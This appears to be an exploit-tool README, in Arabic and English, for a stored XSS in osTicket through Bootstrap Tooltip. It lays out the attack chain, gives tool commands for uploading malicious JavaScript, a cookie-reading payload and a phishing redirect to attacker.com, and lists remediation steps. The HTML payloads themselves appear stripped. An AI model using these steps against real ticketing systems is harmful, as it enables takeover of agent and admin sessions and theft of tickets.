Share
## https://sploitus.com/exploit?id=E65B20CE-FF16-5D76-BB50-EC94F3D77068
# ─── CVE-2026-36214 ───








# 🏴 AMN SECURITY 🏴

### مركز أبحاث الأمن السيبراني | Cyber Security Research Center

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)

---











# ⚠️ ثغرة XSS مخزنة في osTicket عبر مكون Bootstrap Tooltip
### CVE-2026-36214 | CVSS 8.7 | عالية الخطورة

---

### 📋 الملخص التنفيذي

ثغرة أمنية من نوع **Cross-Site Scripting (XSS) مخزنة** في نظام إدارة التذاكر **osTicket** (الإصدارات 1.10 حتى 1.17.7 و 1.18.0 حتى 1.18.3)، تنشأ من استخدام مكون **Bootstrap Tooltip 3.3.4** المعروف بثغرة **CVE-2019-8331**.

تسمح هذه الثغرة لمستخدم عادي (غير مُصادق عند إنشاء التذكرة) بحقن كود JavaScript ضار في رسالة التذكرة. عند عرض هذه الرسالة من قبل **وكيل (Agent)** أو **مسؤول (Admin)**، يتم تنفيذ الكود في سياق جلستهم، مما يسمح بسرقة الجلسة والتحكم الكامل بنظام التذاكر.

| العنصر | التفاصيل |
|--------|----------|
| **CVE** | CVE-2026-36214 |
| **CVSS** | 8.7 (High) |
| **النوع** | Stored Cross-Site Scripting (XSS) |
| **المنتج** | osTicket |
| **الإصدارات المتأثرة** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 |
| **المكون الضعيف** | Bootstrap Tooltip 3.3.4 (CVE-2019-8331) |
| **الصلاحية المطلوبة** | بدون مصادقة (افتراضياً) |
| **التأثير** | استيلاء كامل على جلسات الوكلاء والمسؤولين |

---

### 🔍 تفاصيل الثغرة

osTicket هو نظام تذاكر مفتوح المصدر يستخدم على نطاق واسع في المؤسسات. يسمح للمستخدمين برفع محتوى HTML وملفات مرفقة ضمن التذاكر.

#### آلية الهجوم

```
[مستخدم] ← يرفع ملف JavaScript ضار كملف مرفق في تذكرة
      │
      ▼
[نظام osTicket] ← يخزن الملف ويعيد رابط تحميل مباشر
      │    Content-Type: text/javascript (دون قيود)
      ▼
[مستخدم] ← يرسل تذكرة تحتوي على HTML ضار
      │    يستخدم Bootstrap Tooltip data-template
      ▼
[وكيل/مسؤول] ← يفتح التذكرة لعرضها
      │
      ▼
[Bootstrap Tooltip] ← يعالج data-template ← يحمل ويشغل JavaScript
      │
      ▼
[اختراق جلسة الوكيل/المسؤول]
```

#### شجرة الهجوم

```

  ">
  

```

#### لماذا تعمل الثغرة

1. **Bootstrap Tooltip 3.3.4** (CVE-2019-8331) يسمح بحقن HTML عبر `data-template`
2. **htmlLawed** لا يقوم بتصفية السمة `data-template` بشكل كافٍ
3. **رفع الملفات بدون قيود**: يمكن رفع ملفات JavaScript مع `Content-Type: text/javascript`
4. **CSP متساهل**: سياسة أمان المحتوى تسمح بتنفيذ JavaScript من نفس المصدر (same-origin)

---

### 💥 سيناريو الهجوم بالتفصيل

#### الخطوة 1: رفع ملف JavaScript ضار

```
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

[attachment: exploit.js]
```

![رفع ملف JS](images/upload_a_js_file.png)

#### الخطوة 2: الحصول على رابط التحميل المباشر

بعد الرفع، يتم إرجاع رابط مباشر للملف:
```
http://target-osticket.com/file.php?key=abc123&expires=...
```

![رابط التحميل المباشر](images/get_direct_link_of_our_uploaded_js_file.png)

![Content-Type للملف](images/content-type_of_our_uploaded_file.png)

#### الخطوة 3: إنشاء التذكرة الخبيثة

```html

">


```

![إرسال الحمولة الخبيثة](images/submit_malicious_payload.png)

#### الخطوة 4: التنفيذ

عندما يفتح وكيل أو مسؤول التذكرة:

![تم تشغيل الحمولة](images/payload_triggered.png)

#### تجاوز CSP عبر نفس المصدر

سياسة CSP في لوحة التحكم تسمح بـ JavaScript من نفس المصدر فقط:

![CSP في لوحة التحكم](images/csp_on_admin_panel.png)

#### إعادة التوجيه عند منع رفع JS

إذا تم منع رفع ملفات JS، يمكن استخدام iframe مع data URI:

```html

     ">

```

![إعادة التوجيه](images/redirect_to_example.png)

---

### 🧪 استخدام الأداة

```bash
# رفع ملف JavaScript ضار
python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js

# إنشاء تذكرة خبيثة
python3 CVE-2026-36214.py -t https://target-osticket.com --ticket \
    --js-url "http://target/file.php?key=abc123"

# وضع هجوم كامل
python3 CVE-2026-36214.py -t https://target-osticket.com --auto \
    --payload "alert(document.cookie)"

# استخدام iframe data URI (عند منع رفع JS)
python3 CVE-2026-36214.py -t https://target-osticket.com --iframe \
    --redirect "https://attacker.com/phish"

# فحص الهدف
python3 CVE-2026-36214.py -t https://target-osticket.com --check
```

#### الخيارات المتاحة

| الخيار | الوصف |
|--------|-------|
| `-t, --target` | رابط osTicket المستهدف |
| `--check` | فحص وجود الثغرة فقط |
| `--upload` | رفع ملف JavaScript ضار |
| `--ticket` | إنشاء تذكرة بالحمولة |
| `--auto` | هجوم أوتوماتيكي كامل |
| `--js-url` | رابط ملف JavaScript |
| `--payload` | كود JavaScript للتنفيذ |
| `--iframe` | استخدام iframe data URI |
| `--redirect` | رابط إعادة التوجيه |
| `--proxy` | بروكسي HTTP |
| `-v, --verbose` | إظهار تفاصيل إضافية |

---

### 🛡️ الإجراءات العلاجية

| الإجراء | الأولوية | الوصف |
|---------|----------|-------|
| **تحديث osTicket** | 🟢 فوري | الترقية إلى 1.17.8 أو 1.18.4 |
| **تحديث Bootstrap** | 🟢 فوري | تحديث Bootstrap إلى 3.4.1+ |
| **تقييد رفع الملفات** | 🟡 مهم | منع رفع ملفات JavaScript في إعدادات Admin Panel |
| **تشديد CSP** | 🟡 مهم | إضافة `script-src 'nonce-...'` لسياسة الأمان |
| **تدقيق التذاكر القديمة** | 🟡 مهم | مراجعة التذاكر بحثاً عن حمولات XSS |

#### منع رفع ملفات JavaScript

يمكن للمسؤول منع رفع ملفات JS من خلال إعدادات المرفقات في لوحة التحكم:

```
Admin Panel → Settings → Tickets → Attachments
→ Allowed File Types: إزالة js, jsx, mjs
```

---

### 📊 التأثير

| المستوى | التأثير |
|---------|---------|
| **وكيل (Agent)** | 🔴 استيلاء على صلاحيات الوكيل → قراءة/رد/تحويل التذاكر |
| **مسؤول (Admin)** | 🔴 استيلاء كامل → تعديل الإعدادات، إنشاء حسابات، DoS |
| **السرية** | 🔴 تسريب جميع التذاكر والمرفقات |
| **السلامة** | 🔴 تعديل البيانات والإعدادات |
| **التوفر** | 🟡 يمكن تعطيل النظام عبر تغيير الإعدادات |

---

### 🔗 المراجع

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214
- **CVE-2019-8331**: Bootstrap Tooltip XSS
- **osTicket**: https://osticket.com/
- **CWE-79**: Improper Neutralization of Input During Web Page Generation

> ⚠️ **إخلاء مسؤولية**: هذا التقرير لأغراض تعليمية وبحثية فقط. استخدام هذه المعلومات لأغراض غير قانونية يتحمل المستخدم مسؤوليته بالكامل.

---

### 🔗 تواصل مع AMN SECURITY

[![Website](https://img.shields.io/badge/Website-amn.amnoffsec.workers.dev-00FF00?style=for-the-badge&logo=googlechrome&logoColor=white)](https://amn.amnoffsec.workers.dev/)
[![Instagram](https://img.shields.io/badge/Instagram-@ixctw-E4405F?style=for-the-badge&logo=instagram&logoColor=white)](https://www.instagram.com/ixctw)
[![Email](https://img.shields.io/badge/Email-ayman.mahmoudoffsec%40gmail.com-D14836?style=for-the-badge&logo=gmail&logoColor=white)](mailto:ayman.mahmoudoffsec@gmail.com)



---







# ⚠️ CVE-2026-36214 — osTicket Stored XSS via Bootstrap Tooltip

### CVSS 8.7 | HIGH | Stored Cross-Site Scripting

---

### Executive Summary

**CVE-2026-36214** is a **Stored Cross-Site Scripting (XSS)** vulnerability in **osTicket** versions 1.10 through 1.17.7 and 1.18.0 through 1.18.3, caused by the inclusion of the vulnerable **Bootstrap Tooltip 3.3.4** component (CVE-2019-8331).

An unauthenticated user can craft a malicious ticket message that, despite passing through htmlLawed HTML sanitization, results in arbitrary JavaScript execution when viewed by Agents or Admins.

| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-36214 |
| **CVSS** | 8.7 (High) |
| **Type** | Stored Cross-Site Scripting (CWE-79) |
| **Product** | osTicket |
| **Affected Versions** | v1.10 - v1.17.7, v1.18.0 - v1.18.3 |
| **Impact** | Full agent/admin session compromise |

### Attack Flow

1. Upload malicious JS file as ticket attachment
2. Create ticket with Bootstrap Tooltip XSS payload referencing the JS file
3. When agent/admin opens the ticket → JS executes in their session context

### Tool Usage

```bash
# Check vulnerability
python3 CVE-2026-36214.py -t https://target-osticket.com --check

# Upload malicious JS
python3 CVE-2026-36214.py -t https://target-osticket.com --upload exploit.js

# Create malicious ticket
python3 CVE-2026-36214.py -t https://target-osticket.com --ticket --js-url "http://target/file.php?key=abc"

# Full auto-attack
python3 CVE-2026-36214.py -t https://target-osticket.com --auto --payload "alert(document.cookie)"
```

### Remediation

| Action | Priority | Description |
|--------|----------|-------------|
| **Update osTicket** | 🔴 Immediate | Upgrade to 1.17.8 or 1.18.4+ |
| **Update Bootstrap** | 🔴 Immediate | Update Bootstrap to 3.4.1+ |
| **Restrict Uploads** | 🟡 Important | Block JS file uploads in Admin Panel |
| **Harden CSP** | 🟡 Important | Add `script-src 'strict-dynamic'` policy |

### References

- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-36214
- **CVE-2019-8331**: Bootstrap Tooltip XSS
- **CWE-79**: Improper Neutralization of Input

---

### Connect with AMN SECURITY

🌐 **Website**: https://amn.amnoffsec.workers.dev/
📸 **Instagram**: https://www.instagram.com/ixctw
📧 **Email**: ayman.mahmoudoffsec@gmail.com

---

> ⚠️ **Disclaimer**: This report is for educational and research purposes only.